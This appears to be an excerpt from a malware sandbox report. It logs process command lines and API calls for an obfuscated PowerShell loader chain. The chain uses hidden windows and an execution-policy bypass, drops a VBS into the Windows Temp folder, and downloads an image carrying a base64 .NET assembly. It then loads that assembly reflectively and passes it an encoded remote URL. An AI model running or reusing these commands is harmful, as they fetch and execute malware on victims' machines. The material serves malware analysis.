JvgPBbwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPeQBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPQwBvwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPdgBlwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBdwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPOgBGwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPbwBtwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPYQBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPNgwCpPwOwWIbeIlJvgP0wCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBywCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbgBnwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcwBlwCpPwOwWIbeIlJvgPDYwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwBhwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQBkwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPeQBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPUgBlwCpPwOwWIbeIlJvgPGYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBpwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbgwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQBdwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPOgBMwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPYQBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPeQB0wCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPcwwCpPwOwWIbeIlJvgPpwCpPwOwWIbeIlJvgPDswCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPQQBzwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPRwBlwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRgBpwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPZQBywCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPE0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBWwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPSQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPdgBvwCpPwOwWIbeIlJvgPGswCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbgB1wCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPWwBvwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPagBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPF0wCpPwOwWIbeIlJvgPXQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBkwCpPwOwWIbeIlJvgPEgwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPwwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPbQBWwCpPwOwWIbeIlJvgPHUwCpPwOwWIbeIlJvgPYgwCpPwOwWIbeIlJvgPzwCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPeQBZwCpPwOwWIbeIlJvgPFYwCpPwOwWIbeIlJvgPYwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPBNwCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPTQBTwCpPwOwWIbeIlJvgPDkwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBtwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPegBJwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTQBpwCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPegBNwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPRQB1wCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBqwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwBNwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPOwCpPwOwWIbeIlJvgPB2wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPbgBCwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBHwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPDIwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwBvwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwBDwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPXwCpPwOwWIbeIlJvgPBXwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPdwBzwCpPwOwWIbeIlJvgPFwwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBcwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRwBvwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPZwBswCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPcgBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('wCpPwOwWIbeIlJvgP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline powershell.exe -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Google.vbs -Force }
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_image.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmLzIxMi4zMTEuNTcxLjcwMS8vOnB0dGg=' , '' , '2' , 'Google' , '1' , 'C:\Windows\Temp\', 'Google Chrome'))"
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2104
thread_handle: 0x00000330
process_identifier: 2228
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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OwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP9wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgP8wCpPwOwWIbeIlJvgPDwwCpPwOwWIbeIlJvgPQgBBwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPRQwCpPwOwWIbeIlJvgP2wCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPXwBFwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP+wCpPwOwWIbeIlJvgPD4wCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbQBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQBUwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPZgwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPZQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPaQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwBlwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwBmwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBGwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPYQBnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCswCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPLgBMwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBnwCpP